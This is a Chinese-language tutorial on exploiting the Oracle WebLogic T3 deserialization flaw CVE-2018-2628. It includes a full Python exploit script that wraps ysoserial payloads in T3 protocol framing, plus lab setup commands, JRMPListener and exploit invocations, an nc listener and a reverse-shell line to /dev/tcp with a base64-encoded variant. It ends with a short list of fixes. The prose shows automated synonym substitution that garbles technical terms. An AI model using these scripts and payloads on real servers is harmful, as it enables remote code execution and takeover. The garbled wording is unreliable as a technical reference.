Weblogic T3反序列化弊端（CVE-2018-2628）

目录

• 前言
  
• T3协议概述
  
• 弊端复现
  
• 修复措施
  

前言

WebLogic Server 是一个企业级的应用服务器，由Oracle公司开辟，支持完整的Java EE规范，包括EJB、JSP、Servlet、JMS等，适合大型分布式应用和高负载场景。
T3协议概述

T3协议（Two-Tier TCP/IP Protocol），是WebLogic中的一种专有协议，建立在TCP/IP协议之上，它是WebLogic的默认通信协议，主要用于在客户端和服务器之间进行通信。
在Weblogic中RMI通信的实现是使用T3协议（通常RMI通信使用的是JRMP协议），并且在T3的传输过程中，和RMI一样，会进行序列化和反序列化的操作。以是说T3的反序列弊端和RMI的反序列弊端的原理几乎是一致的。
在T3的这个协议里面包含请求包头和请求的主体这两部分内容。
请求包头（handshake）：它负责定义了数据包的基本结构和传输协议的版本信息。
使用Python发送一个请求包的头：

1. import socket
3. handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
4. ip = "192.168.88.150"
5. port = 7001
7. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8. sock.connect((ip, port))
9. sock.sendall(handshake.encode())
10. data = sock.recv(1024)

复制代码

Wireshark对它进行抓包：

这个请求包头表明使用的是T3协议的12.2.3版本，而响应包头中HELO后面的内容则是被连接的weblogic的版本号12.2.1.3.0。
请求包头之后是请求的主体，此中传输的都是序列化数据。
以这个PoC脚本（ https://www.exploit-db.com/exploits/44553 ）为例：

第三个数据包中包括长度（占4个字节），和在反序列化数据之前的T3协议头，以及以ac ed 00 05开头的这些序列化的数据。以是只要把此中一部分替换成我们的序列化数据就可以到达利用的目的。本质就是把ysoserial生成的Payload变成T3协议里的数据格式。
除了由 Exploit Database 提供的利用脚本，还有国内其他师傅写的脚本：

1. import socket
2. import sys
3. import struct
4. import re
5. import subprocess
6. import binascii
8. def get_payload1(gadget, command):
9.     JAR_FILE = './ysoserial.jar'
10.     popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
11.     return popen.stdout.read()
13. def get_payload2(path):
14.     with open(path, "rb") as f:
15.         return f.read()
17. def exp(host, port, payload):
18.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19.     sock.connect((host, port))
21.     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
22.     sock.sendall(handshake)
23.     data = sock.recv(1024)
24.     pattern = re.compile(r"HELO:(.*).false")
25.     version = re.findall(pattern, data.decode())
26.     if len(version) == 0:
27.         print("Not Weblogic")
28.         return
30.     print("Weblogic {}".format(version[0]))
31.     data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
32.     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
33.     flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
34.     payload = data_len + t3header + flag + payload
35.     payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
36.     sock.send(payload)
38. if __name__ == "__main__":
39.     host = "192.168.1.40"
40.     port = 7001
41.     gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
42.     command = "touch /tmp/CVE-2015-4852"
44.     payload = get_payload1(gadget, command)
45.     exp(host, port, payload)

复制代码

原理都是一样的，把生成的Payload替换掉原来的序列化的部分，但要包管T3协议格式仍然正确。
造成反序列弊端的缘故原由一般都是readObject方法在进行反序列化操作出现了问题，T3协议的反序列弊端也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。
借一张其他师傅博客的图：

中间的调用过程先省略，导致的弊端产生的直接缘故原由就是在resolveClass方法中也没做任何的校验。
这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话，就意味着它会获取任意的类的Class对象，这就有了可乘之机，可以容易获取我们恶意的类的Class对象，从而造成反序列弊端。
弊端复现

影响版本： Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
环境搭建：使用 vulhub 搭建

1. cd /vulhub/weblogic/CVE-2018-2628
2. docker compose up -d

复制代码

通过nmap可以探测Weblogic的T3协议是否启用，以及版本号：

利用 ysoserial 的攻击流程都大同小异，起首使用JRMPListener开启一个JRMP服务监听，利用链这里选择CC1链。

1. java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

复制代码

利用 exp 脚本（python2脚本，python3运行报错），向目的Weblogic发送Payload：

1. python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient
3. # 192.168.88.150 是靶机IP，7001是Weblogic端口

复制代码

exp实行完成后，靶机回连本地JRMP服务，JRMP服务端收到请求：

实行docker compose exec weblogic bash进入容器中，可见文件已成功创建：

除了RCE，还有反弹shell都是类似的操作。
起首，在kali中通过 nc 监听本地端口：

1. nc -lvvp 12345

复制代码

接着预备反弹shell的代码：

1. bash -i >& /dev/tcp/192.168.88.128/12345 0>&1

复制代码

由于Runtime.getRuntime().exec()中不能使用重定向和管道符，这里必要对其进行base64编码再使用：

1. "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

复制代码

本地开启JRMP监听，监听本地2333端口，利用链依然使用CC1链：

1. java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

复制代码

利用 exp 脚本，向目的Weblogic发送Payload：

1. python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

复制代码

exp 脚本实行完成后，反弹shell成功：

修复措施

• 关闭T3服务：假如Weblogic控制台端口（默以为7001端口）开放，T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该弊端。
  
• 更新补丁：应用Oracle官方发布的最新补丁，并升级JDK至1.7.0.21以上版本。
  
• 更改代码：假如无法应用补丁或更新JDK，可以考虑更改代码，比方在黑名单中添加特定的类名，以阻断弊端利用。
  

参考文章：
https://www.cnblogs.com/nice0e3/p/14201884.html#弊端复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html

如有错误，欢迎指正！o(￣▽￣)ブ

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。